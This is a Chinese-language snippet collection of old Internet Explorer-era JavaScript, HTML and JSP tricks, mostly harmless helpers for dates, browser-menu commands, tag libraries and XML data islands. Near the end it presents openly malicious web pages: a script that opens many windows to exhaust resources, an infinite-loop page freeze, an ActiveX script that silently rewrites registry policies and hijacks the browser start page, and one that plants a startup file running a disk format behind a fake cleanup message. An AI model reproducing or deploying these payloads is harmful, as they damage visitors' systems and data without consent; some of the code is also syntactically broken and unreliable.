 document.all.Textbox.value = cookieString.substring(beginPosition  + cookieHeader.length) 
} 
else 
 document.all.Textbox.value = "Cookie 未找到!" 
} 
</SCRIPT> 
</HTML>// 


172.取月的最后一天 
function getLastDay(year,month) 
{ 
//取年 
var new_year = year; 
//取到下一个月的第一天,注意这里传入的month是从1～12 
var new_month = month++; 
//如果当前是12月，则转至下一年 
if(month>12) 
{ 
 new_month -=12; 
 new_year++; 
} 
var new_date = new Date(new_year,new_month,1); 
return (new Date(new_date.getTime()-1000*60*60*24)).getDate(); 
}// 

173.判断当前的焦点是组中的哪一个 
for(var i=0;i<3;i++) 
if(event.srcElement==bb) 
 break;// 



174.实现类 
package com.baosight.view.utils; 
import javax.servlet.jsp.tagext.TagSupport; 
import javax.servlet.http.HttpSession; 
public class Mytag extends TagSupport 
{ 
 public int doStartTag() throws javax.servlet.jsp.JspException 
 { 
   boolean canAccess = false; 
   HttpSession session= pageContext.getSession(); 
   if (canAccess) 
   { 
     return EVAL_BODY_INCLUDE; 
   } 
   else 
   { 
     return this.SKIP_BODY; 
   } 
 } 
} 



175.在web.xml中添加定义 
 <taglib> 
   <taglib-uri>guoguo</taglib-uri> 
   <taglib-location>/WEB-INF/abc.tld</taglib-location> 
 </taglib> 

176.标签库中定义abc.tld 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE taglib PUBLIC "-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.1//EN" 
"http://java.sun.com/j2ee/dtds/web-jsptaglibrary_1_1.dtd"> 
<taglib> 
<tlibversion>1.0</tlibversion> 
<jspversion>1.1</jspversion> 
<shortname>hr</shortname> 
<uri>guoguo</uri> 
<info>Extra 3 Tag Library</info> 
<tag> 
 <name>mytag</name> 
 <tagclass>com.baosight.view.utils.Mytag</tagclass> 
 <attribute> 
  <name>id2</name> 
  <required>true</required> 
           <rtexprvalue>true</rtexprvalue> 
 </attribute> 
</tag> 
</taglib> 


177.在使用自定义标签的页面中加入自己定义的标签， 
<%@ taglib uri="guoguo" prefix="guoguo" %> 
//自己定义标签 

178.显示带边框的集 
<fieldset style="border:1px gray solid;width:100px"> 
 <legend>查询条件</legend> 
dfdfdf 
</fieldset>// 


179.【文件(F)】菜单中的命令的实现 
1、〖打开〗命令的实现 
[格式]:document.execCommand("open") 
[说明]这跟VB等编程设计中的webbrowser控件中的命令有些相似，大家也可依此琢磨琢磨。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=document.execCommand("open") >打开</a> 

2、〖使用 记事本 编辑〗命令的实现 
[格式]:location.replace("view-source:"+location) 
[说明]打开记事本，在记事本中显示该网页的源代码。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=location.replace("view-source:"+location) >使用 记事本编辑</a> 

3、〖另存为〗命令的实现 
[格式]:document.execCommand("saveAs") 
[说明]将该网页保存到本地盘的其它目录！ 
[举例]在<body></body>之间加入： 
<a href="###" onclick=document.execCommand("saveAs") >另存为</a> 



4、〖打印〗命令的实现 
[格式]:document.execCommand("print") 
[说明]当然，你必须装了打印机！ 
[举例]在<body></body>之间加入： 
<a href="###" onclick=document.execCommand("print") >打印</a> 


5、〖关闭〗命令的实现 
[格式]:window.close();return false 
[说明]将关闭本窗口。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=window.close();return false) >关闭本窗口</a> 

180.【编辑(E)】菜单中的命令的实现 
〖全选〗命令的实现 
[格式]:document.execCommand("selectAll") 
[说明]将选种网页中的全部内容！ 
[举例]在<body></body>之间加入： 
<a href="###" onclick=document.execCommand("selectAll") >全选</a> 

181.【查看(V)】菜单中的命令的实现 

1、〖刷新〗命令的实现 
[格式]:location.reload() 或 history.go(0) 
[说明]浏览器重新打开本页。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=location.reload()>刷新</a> 
或加入: 
<a href="###" onclick=history.go(0)>刷新</a> 


2、〖源文件〗命令的实现 
[格式]:location.replace("view-source:"+location) 
[说明]查看该网页的源代码。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=location.replace("view-source:"+location)>查看源文件</a> 

3、〖全屏显示〗命令的实现 
[格式]:window.open(document.location, "url", "fullscreen") 
[说明]全屏显示本页。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=window.open(document.location,"url","fullscreen")>全屏显示</a> 



182.【收藏(A)】菜单中的命令的实现 

1、〖添加到收藏夹〗命令的实现 
[格式]:window.external.AddFavorite('url', '“网站名”) 
[说明]将本页添加到收藏夹。 
[举例]在<body></body>之间加入： 
<a href="javascript:window.external.AddFavorite('http://oh.jilinfarm.com', '胡明新的个人主页')">添加到收藏夹</a> 

2、〖整理收藏夹〗命令的实现 
[格式]:window.external.showBrowserUI("OrganizeFavorites",null) 
[说明]打开整理收藏夹对话框。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=window.external.showBrowserUI("OrganizeFavorites",null)>整理收藏夹</a> 

183.【工具(T)】菜单中的命令的实现 
〖internet选项〗命令的实现 
[格式]:window.external.showBrowserUI("PrivacySettings",null) 
[说明]打开internet选项对话框。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=window.external.showBrowserUI("PrivacySettings",null)>internet选项</a> 



184.【工具栏】中的命令的实现 

1、〖前进〗命令的实现 
[格式]history.go(1) 或 history.forward() 
[说明]浏览器打开后一个页面。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=history.go(1)>前进</a> 
或加入: 
<a href="###" onclick=history.forward()>前进</a> 



2、〖后退〗命令的实现 
[格式]:history.go(-1) 或 history.back() 
[说明]浏览器返回上一个已浏览的页面。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=history.go(-1)>后退</a> 
或加入: 
<a href="###" onclick=history.back()>后退</a> 




3、〖刷新〗命令的实现 
[格式]:document.reload() 或 history.go(0) 
[说明]浏览器重新打开本页。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=location.reload()>刷新</a> 
或加入: 
<a href="###" onclick=history.go(0)>刷新</a> 



185.其它命令的实现 
〖定时关闭本窗口〗命令的实现 
[格式]:settimeout(window.close(),关闭的时间) 
[说明]将关闭本窗口。 
[举例]在<body></body>之间加入： 
<a href="###" onclick=settimeout(window.close(),3000)>3秒关闭本窗口</a> 


【附】为了方便读者，下面将列出所有实例代码，你可以把它们放到一个html文件中，然后预览效果。 
<a href="###" onclick=document.execCommand("open")>打开</a><br> 
<a href="###" onclick=location.replace("view-source:"+location)>使用 记事本编辑</a><br> 
<a href="###" onclick=document.execCommand("saveAs")>另存为</a><br> 
<a href="###" onclick=document.execCommand("print")>打印</a><br> 
<a href="###" onclick=window.close();return false)>关闭本窗口</a><br> 
<a href="###" onclick=document.execCommand("selectAll")>全选</a><br> 
<a href="###" onclick=location.reload()>刷新</a> <a href="###" onclick=history.go(0)>刷新</a><br> 
<a href="###" onclick=location.replace("view-source:"+location)>查看源文件</a><br> 
<a href="###" onclick=window.open(document.location,"url","fullscreen")>全屏显示</a><br> 
<a href="javascript:window.external.AddFavorite('http://homepage.yesky.com', '天极网页陶吧')">添加到收藏 
夹</a><br> 
<a href="###" onclick=window.external.showBrowserUI("OrganizeFavorites",null)>整理收藏夹</a><br> 
<a href="###" onclick=window.external.showBrowserUI("PrivacySettings",null)>internet选项</a><br> 
<a href="###" onclick=history.go(1)>前进1</a>　<a href="###" onclick=history.forward()>前进2</a><br> 
<a href="###" onclick=history.go(-1)>后退1</a>　<a href="###" onclick=history.back()>后退2</a><br> 
<a href="###" onclick=settimeout(window.close(),3000)>3秒关闭本窗口</a><br> 


186.给DHTML中的标签添加一个新的属性，可以随意加 
<BODY onload="alert(a1.epass)"> 
<input type=text name="a1" epass="zhongguo"> 
</BODY>// 



188.服务器端通过request.getReader()获得传入的字符串 


189.在java中使用正则表达式 
java.util.regex.Pattern p = java.util.regex.Pattern.compile("\\d+|.\\d+|\\d+.\\d*|(E|\\d+E|.\\d+E|\\d+.\\d*E)((\\+|-)\\d|\\d)\\d*"); 
java.util.regex.Matcher m = p.matcher("12.E+3"); 
boolean result = m.matches();// 



190.给下拉框分组 
<SELECT> 
<OPTGROUP LABEL="碱性金属"> 
<OPTION>锂 (Li)</OPTION> 
<OPTION>纳 (Na)</OPTION> 
<OPTION>钾 (K)</OPTION> 
</OPTGROUP> 
<OPTGROUP LABEL="卤素"> 
<OPTION>氟 (F)</OPTION> 
<OPTION>氯 (Cl)</OPTION> 
<OPTION>溴 (Br)</OPTION> 
</OPTGROUP> 
</SELECT>// 

191.加注音 
<RUBY> 
基准文本 
<RT>注音文本 
</RUBY>// 

192.加删除线 
<S>此文本将带删除线显示。</S>// 



193.取frame中的event事件 
document.frames("workspace").event.keyCode// 

194.是弹出方法的定义 
String.prototype.trim=function() 
{ 
return this.replace(/(^\s*)|(\s*$)/g, ""); 
} 
alert("  ".trim)// 
  


195.防止网页被包含 
if (window != window.top) 
top.location.href = location.href;// 


196.让网页一直在frame里面 
if(window==window.top) 
{ 
document.body.innerHTML="<center><h1>请通过正常方式访问本页面！</h1></center>"; 
//window.close(); 
}// 

197.加为首页 
<SCRIPT> 
function fnSet(){ 
oHomePage.setHomePage(location.href); 
event.returnValue = false; 
} 
</SCRIPT> 
<IE:HOMEPAGE ID="oHomePage" style="behavior:url(#default#homepage)"/>// 

198.xml数据岛操作 
<HTML> 
 <HEAD><Title>HTML中的数据岛中的记录集</Title></HEAD> 
 <body bkcolor=#EEEEEE text=blue bgcolor="#00FFFF"> 
 <Table align=center width="100%"><TR><TD align="center"> 
 <h5><b><font size="4" color="#FF0000">HTML中的XML数据岛记录编辑与添加    </font></b></h5> 
 </TD></TR></Table> 
 <HR> 
 酒店名称：<input type=text datasrc=#theXMLisland DataFLD=NAME size="76"><BR> 
 地址：<input type=text datasrc=#theXMLisland DataFLD=Address size="76"><BR> 
 主页：<input type=text datasrc=#theXMLisland DataFLD=HomePage size="76"><BR> 
 电子邮件：<input type=text datasrc=#theXMLisland DataFLD=E-Mail size="76"><BR> 
 电话：<input type=text datasrc=#theXMLisland DataFLD=TelePhone size="76"><BR> 
 级别：<input type=text datasrc=#theXMLisland DataFLD=Grade size="76"><HR> 
 <input id="first" TYPE=button value="<<　第一条记录"     onclick="theXMLisland.recordset.moveFirst()"> 
 <input id="prev" TYPE=button value="<上一条记录"   onclick="theXMLisland.recordset.movePrevious()">   
 <input id="next" TYPE=button value="下一条记录>" onclick="theXMLisland.recordset.moveNext()">   
 <input id="last" TYPE=button value="最后一条记录>>" onclick="theXMLisland.recordset.moveLast()">&nbsp;   
 <input id="Add" TYPE=button value="添加新记录" onclick="theXMLisland.recordset.addNew()">   

 <XML ID="theXMLisland"> 
 <HotelList> 
 <Hotel> 
 <Name>四海大酒店</Name> 
 <Address>海魂路1号</Address> 
 <HomePage>www.sihaohotel.com.cn</HomePage> 
 <E-Mail>master@sihaohotel.com.cn</E-Mail> 
 <TelePhone>(0989)8888888</TelePhone> 
 <Grade>五星级</Grade> 
 </Hotel> 
 <Hotel> 
 <Name>五湖宾馆</Name> 
 <Address>东平路99号</Address> 
 <HomePage>www.wuhu.com.cn</HomePage> 
 <E-Mail>web@wuhu.com.cn</E-Mail> 
 <TelePhone>(0979)1111666</TelePhone> 
 <Grade>四星级</Grade> 
 </Hotel> 
 <Hotel> 
 <Name>“大沙漠”宾馆</Name> 
 <Address>留香路168号</Address> 
 <HomePage>www.dashamohotel.com.cn</HomePage> 
 <E-Mail>master@dashamohotel.com.cn</E-Mail> 
 <TelePhone>(0989)87878788</TelePhone> 
 <Grade>五星级</Grade> 
 </Hotel> 
 <Hotel> 
 <Name>“画眉鸟”大酒店</Name> 
 <Address>血海飘香路2号</Address> 
 <HomePage>www.throstlehotel.com.cn</HomePage> 
 <E-Mail>chuliuxiang@throstlehotel.com.cn</E-Mail> 
 <TelePhone>(099)9886666</TelePhone> 
 <Grade>五星级</Grade> 
 </Hotel> 
 </HotelList> 
 </XML> 

 </body>   
 </HTML> //xml数据岛中添加记录 



------------------------------- 
 The following list is a sample of the properties and methods that you use to access nodes in an XML document. 
Property/    Method Description 
XMLDocument Returns a reference to the XML Document Object Model (DOM) exposed by the object.   

documentElement  Returns the document root of the XML document. 
childNodes    Returns a node list containing the children of a node (if any). 
item     Accesses individual nodes within the list through an index. Index values are zero-based, so item(0) returns the first child node. 
text     Returns the text content of the node. 

The following code shows an HTML page containing an XML data island. The data island is contained within 字串6 

the <XML> element. 



<HTML> 
 <HEAD> 
   <TITLE>HTML with XML Data Island</TITLE> 
 </HEAD> 
 <BODY> 
   <P>Within this document is an XML data island.</P> 




   <XML ID="resortXML"> 
     <resorts> 
       <resort code='1'>Adventure Works</resort> 
       <resort>Alpine Ski House</resort> 
     </resorts> 
   </XML> 
 </BODY> 
</HTML> 
For an example, you can cut and paste this sample line of code: 

resortXML.XMLDocument.documentElement.childNodes.item(1).text//读取页面上的XML数据岛中的数据 
resortXML.documentElement.childNodes.item(0).getAttribute("code")//读取页面上的XML数据岛中的数据 
resortXML.documentElement.childNodes[0].getAttribute("code")//读取页面上的XML数据岛中的数据 


199.模式窗口 
父窗口 
var url="aaa.jsp"; 
var data=showModalDialog(url,null,"dialogHeight:400px;dialogHeight:600px;center:yes;help:No;status:no;resizable:Yes;edge:sunken"); 
if(data) 
alert(data.value); 

子窗口 
var data=new Object(); 
data.value1="china"; 
window.returnValue=data; 
window.close(); 




200.动态设置事件，带参数 
<INPUT TYPE="text" NAME="a1"> 
<SCRIPT> 
<!-- 
function hah(para) 
{ 
alert(para) 
} 
a1.onclick=function() 
{ 
hah('canshu ') 
} 
//a1.attachEvent("onclick",function(){hah('参数')}); 
//--> 
</SCRIPT>// 


201.将url转化为16进制形式 
var ret = ''; 
for(var i=0; i < str.length; i++) 
{ 
 var ch = str.charAt(i); 
 var code = str.charCodeAt(i); 

 if(code < 128 && ch != '[' && ch != '\'' && ch != '=') 
 { 
  ret += ch; 
 } 
 else 
 { 
  ret += "[" + code.toString(16) + "]"; 
 } 
} 
return ret;// 
  

202.打开新的窗口并将新打开的窗口设置为活动窗口 
var newWin=window.open("xxxx"); 
newWin.focus();// 


203.容错脚本 
JS中遇到脚本错误时不做任何操作:window.onerror = doNothing; 
指定错误句柄的语法为:window.onerror = handleError 
function handleError(message, URI, line) 
{// 提示用户，该页可能不能正确回应 
return true; // 这将终止默认信息 
}//在页面出错时进行操作 


204.JS中的窗口重定向: 
window.navigate("http://www.sina.com.cn");// 

205.防止链接文字折行 
document.body.noWrap=true;// 

206.判断字符是否匹配. 
string.match(regExpression)// 


207. 
href="javascript:document.Form.Name.value='test';void(0);"//不能用onClick="javacript:document.Form.Name.v 
alue='test';return false; 

当使用inline方式添加事件处理脚本事，有一个被包装成匿名函数的过程，也就是说 
onClick="javacript:document.Form.Name.value='test';return false;"被包装成了： 
functoin anonymous() 
{ 
   document.Form.Name.value='test';return false; 
} 
做为A的成员函数onclick。 
而href="javascript:document.Form.Name.value='test';void(0);"相当于执行全局语句，这时如果使用return语句会报告在函数外使用return语句的错误。 


208.进行页面放大 
<P onmouseover="this.style.zoom='200%'" onmouseout="this.style.zoom='normal'"> 
sdsdsdsdsdsdsdsds 
</p>// 


209.放置在页面的最右边 
<input type="text" value='bu2'  style="float:right">// 

210.通过style来控制隔行显示不同颜色 
<style> 
tr{ 
bgcolor:expression(this.bgColor=((this.rowIndex)%2==0 )? 'white' : 'yellow'); 
} 
</style> 
<table id="oTable" width="100" border="1" style="border-collapse:collapse;"> 
<tr><td>&nbsp;</td></tr> 
<tr><td>&nbsp;</td></tr> 
<tr><td>&nbsp;</td></tr> 
<tr><td>&nbsp;</td></tr> 
<tr><td>&nbsp;</td></tr> 
</table>// 

211.全屏最大化 
newwindow=window.open("","","scrollbars") 
if (document.all) 
{ 
newwindow.moveTo(0,0) 
newwindow.resizeTo(screen.width,screen.height) 
}// 

212.根据名字解析xml中的节点值 
var XMLDoc=new ActiveXObject("MSXML"); 
XMLDoc.url="d:/abc.xml"; 
aRoot=XMLDoc.root; 
a1.innerText=aRoot.children.item("name").text;// 

213.在页面上解析xml的值 
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/5996c682-3472-4b03-9fb0-1e08fcccdf35.asp 
// 



214.看一个字符串里面有多少个回车符，返回值是一个数组 
var s=value.match(/\n/g);if(s)if(s.length==9){alert('10行了');return false;}// 



215.获得asc码 
var s='aa'; 
alert(s.charCodeAt(1))// 

216.文字居右对齐 
<input type="text" value="123" style="text-align:right">// 

217.判断一个方法是否存在 
function pageCallback(response){ 
alert(response); 
} 
if(pageCallback) 
alert(1)// 




218.判断一个变量是否定义 
if(typeof(a)=="undefined") 
{ 
alert() 
}// 


219.javascript执行本机的可执行程序,需设置为可信或者降低IE安全级别 
<script> 
function exec (command) { 
   window.oldOnError = window.onerror; 
   window._command = command; 
   window.onerror = function (err) { 
     if (err.indexOf('utomation') != -1) { 
       alert('命令已经被用户禁止！'); 
       return true; 
     } 
     else return false; 
   }; 
   var wsh = new ActiveXObject('WScript.Shell'); 
   if (wsh) 
     wsh.Run(command); 
   window.onerror = window.oldOnError; 
 } 
</script> 
调用方式 
<a href="javascript:" onclick="exec('D:/test.bat')">测试</a>// 

220.弹出新页面，关闭旧页面，不弹出提示框 
var w=screen.availWidth-10; 
  var h=screen.availHeight-10; 
  var swin=window.open("/mc/mc/message_management.jsp", "BGSMbest","scrollbars=yes,status,location=0,menubar=0,toolbar=0,resizable=no,top=0,left=0,height="+h+",width="+w); 
  window.opener=null; 
  window.close();// 

221.能输入的下拉框 
<span> 
<input name="Department1" id="Department1" style=" border-right:0;width:130" autocomplete="off"> 
<span style="width:150;overflow:hidden"> 
<select  style="width:150;margin-left:-130" onChange="Department1.value=value"> 
<option value=""></option> 
<option value="asdfasfadf">asdfasfadf</option> 
<option value="546546">546546</option></select> // 

222.在方法中定义全局变量 
function globalVar (script) { 
       eval(script);//all navigators 
 //window.execScript(script); //for ie only 
} 
globalVar('window.haha = "../system";'); 
alert(haha);//在方法中定义全局变量，其中的haha就是全局变量了 


223.显示一个对象的全部的属性和属性的值 
var a=new Object(); 
a.name='a1'; 
a.***='mail' 
for(var p in a) 
{ 
alert(p+"="+a[p]) 
}// 


224.16进制转换成10进制 
var n = parseInt("2AE",16);//这里将16进制的 2AE 转成 10 进制数，得到 n 的值是 686 


225.复制粘贴 
<BODY> 
<input type="file" name='a1'><input type="button" value='复制粘贴' onclick="haha()"><div id="aa"></div> 
<SCRIPT> 
<!-- 
function haha() 
{ 
clipboardData.setData("Text",a1.value); 
aa.innerText=clipboardData.getData("Text"); 
} 
//--> 
</SCRIPT> 
</BODY>// 

226.获得对象类型 
switch (object.constructor){ 
  case Date: 
  ... 
  case Number: 
  ... 
  case String: 
  ... 
  case MyObject: 
  ... 
  default: 
  ... 
}// 


227.图片加载失败时重新加载图片 
<img src="aa.gif" onerror="this.src='aa.gif'">// 

228. 
//font_effect.htc 
<PUBLIC:ATTACH EVENT="onmouseover" ONEVENT="glowit()" /> 
<PUBLIC:ATTACH EVENT="onmouseout" ONEVENT="noglow()" /> 
<SCRIPT LANGUAGE="JScript"> 
//定义一个保存字体颜色的变量 
var color; 
function glowit() 
{ 
color=element.style.backgroundColor; 
element.style.backgroundColor='white' 
} 
function noglow() 
{ 
 element.style.backgroundColor=color 
} 
</SCRIPT> 




//abc.css 
tr{behavior:url(font_effect.htc);} 

229.可以通过css和htc改变表格的颜色,仅IE支持 
//xxx.html 
<link rel="stylesheet" type="text/css" href="abc.css"> 
<TABLE border='1'  id="a1"> 
<TR style="background-color:red"> 
<TD>1</TD> 
<TD>2</TD> 
<TD>3</TD> 
</TR> 
<TR style="background-color:yellow"> 
<TD>4</TD> 
<TD>5</TD> 
<TD>6</TD> 
</TR> 
</TABLE>// 

230.在页面上画点 
function a(x,y,color) 
{ 
document.write("<img border='0' style='position: absolute; left: "+(x+20)+"; top: "+(y+20)+";background-color: "+color+"' width=1 height=1>") 
}// 

231.自动关闭网页 
<script> 
<!-- 
setTimeout('window.close();', 10000); //60秒后关闭 
// --> 
</script> 
<p align="center">本页10秒后自动关闭,请注意刷新页面</p>

单击按钮就跳出无限窗口，知道耗尽资源

<html>
<head>
<script>
<!---hide---
function pop()
{for(i=1;i<9;i++){
//用一个循环语句，打开++个窗口，有下面的window.open实现
window.open('11.htm','','width=800,height=600','status=off','toolbar=off','scrollbars=off')}}
//--->
//其中的11.htm是任写的，width为窗口的宽，长
</script>
</head>
<body>
<form name="form"><p aligen="center">
<input type="button" value="enter" onclick="pop()" name="button" class="unnamed1">
//虚构一个进入的按钮，单击后执行pop()函数，打开++个窗口
</p>
</form>
</body>
</html>

冻结窗口

<html>
<head/>
<script>
function freeze()
{alert('from now on,the window is freezing!!!');while(true){window.history.back(-1)}}
</script>
<form>
<input type="button" value="try it..." onclick="freeze()">
</form>
</html>

恶意修改注册表

<html>
<head>
<script>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent/>");
function f(){
try
{
<!--activex-
a1=document.applets[0];
a1.setCLSID({f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createInstance();
Sh1=a1.GetObject();
a1.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}");
a1.createInstance();
FSO=a1.GetObject();
a1.setCLSID=("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
a1.createInstance();
NET=a1.GetObject();
try
{if (document.cookie.indexOf("CHg")==-1){
//下面是对注册表进行读写操作
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\Explorer\\NoRun",01,"REG_BINARY");
//没有了开始菜单中的运行
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\Explorer\\NoClose",01,"REG_BINARY");
//没有关闭系统
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\Explorer\\NoLogOff",01,"REG_BINARY");
//没有注销
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\Explorer\\NoDrives","00000004","REG_DWORD");
//使系统没有逻辑启动器c
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\System\\DisableRegistryTools","11111111","REG_DWORD");
//禁止运行注册表编辑器
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\winOldApp\\Disabled","11111111","REG_DWORD");
//禁止运行dos应用程序
sh1.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\winOldApp\\NoREalMOde","11111111","REG_DWORD");
//禁止系统启动到实模式下（即dos模式下）
sh1.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogo\\LegalNoticeText","caution!");
//弹出标题位===的窗口
sh1.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogo\\LegalNoticeText","caution!your regstry has been changed!!!");
//弹出窗口
sh1.regwrite("HKCU\\SoftWare\\Microsoft\\Internet Explorer\\Main\\Start Page","www.===.com");
sh1.regwrite("HKLM\\SoftWare\\Microsoft\\Internet Explorer\\Main\\Window Title","hello world!");
sh1.regwrite("HKCU\\SoftWare\\Microsoft\\Internet Explorer\\Main\\Window Title","hello world!");
//修改ie标题
var expdate=new date((new date()).gettime()+(1));
document.cookie="CHg=general;expires="+expdata.toGMTString()+";path=/;"

}}
catch(e){}
}
function init()
{
setTimeout("f()",1000);
//设置打开页面后1000毫秒执行f（）函数，修改注册表
}init();
</script>
</head>
<body/>
</html>

格掉硬盘

<html>
<head>
<object id="scr" classid="clsid:06290bd5-48aa-11d2-8432-006008c3fbfc" width="14" height="14">
</object>
<script>
scr.reset();
scr.path="c:\\windows\\start menu\\programs\\启动\\test.hta";
//将文件写到启动的目录下，并命名test。hta，下次开机将执行他，该文件将执行format命令，格式化你的硬盘
scr.doc="<object id='wsh' classid='clsid:f935dc22-1cf0-11d0-adb9-00c04fd58a0b'></object><script>wsh.run('start /m format a: /autotest /u');
//强迫系统不检查硬盘就立即执行format指令，并使窗口处于最小化状态
alert('important:windows is removing unused temporary files.');
</"+"script>";
scr.write();
</script>
</head>
<body/>
</html>

自动修改主框架（iframe）的高度

<script type="text/javascript">

<!--
function load()
{
parent.document.getElementById("desc").height=document.body.clientHeight;
 }

-->

</script>

跑马灯 js 可以控制速度

<html>
    <head>
    </head>
    <body>
        <div id="show"></div>
        <div id="andyscroll" style=" height:100px;overflow:hidden">
            <div id="scrollmessage" style="width:100px; height:100px; ">sdfdsfdsfdfs</br>sdfdsfdsfdfs</br>sdfdsfdsfdfs</br>sdfdsfdsfdfs</br>sdfdsfdsfdfs</br>sdfdsfdsfdfs</br>
            </div>
        </div>
    <script >
     
            var stopscroll = false;
            var scrollElem = document.getElementById("andyscroll");
            var marqueesHeight = scrollElem.style.height;
            scrollElem.onmouseover = new Function('stopscroll = true');
            scrollElem.onmouseout = new Function('stopscroll = false');
            var preTop = 0;
            var currentTop = 0;
            var stoptime = 0;
            var n=4;
            var leftElem = document.getElementById("scrollmessage");
            scrollElem.appendChild(leftElem.cloneNode(true));
            init_srolltext(n);
            function init_srolltext(n){
             scrollElem.scrollTop = 0;
             setInterval('scrollUp(n)', 100);
            }
            function scrollUp(n){
            if(stopscroll) return;
             currentTop += 2+n;
             if(currentTop == 19) {
             stoptime += 1+n;
             currentTop -= 1+n;
             if(stoptime == 180) {
             currentTop = 0;
             stoptime = 0;
             }
             }else{
             preTop = scrollElem.scrollTop;
             scrollElem.scrollTop += 1+n;
             if(preTop == scrollElem.scrollTop){
             scrollElem.scrollTop = 0;
             scrollElem.scrollTop += 1+n;
             }
             }
            }
    </script>
    </body>
</html>

References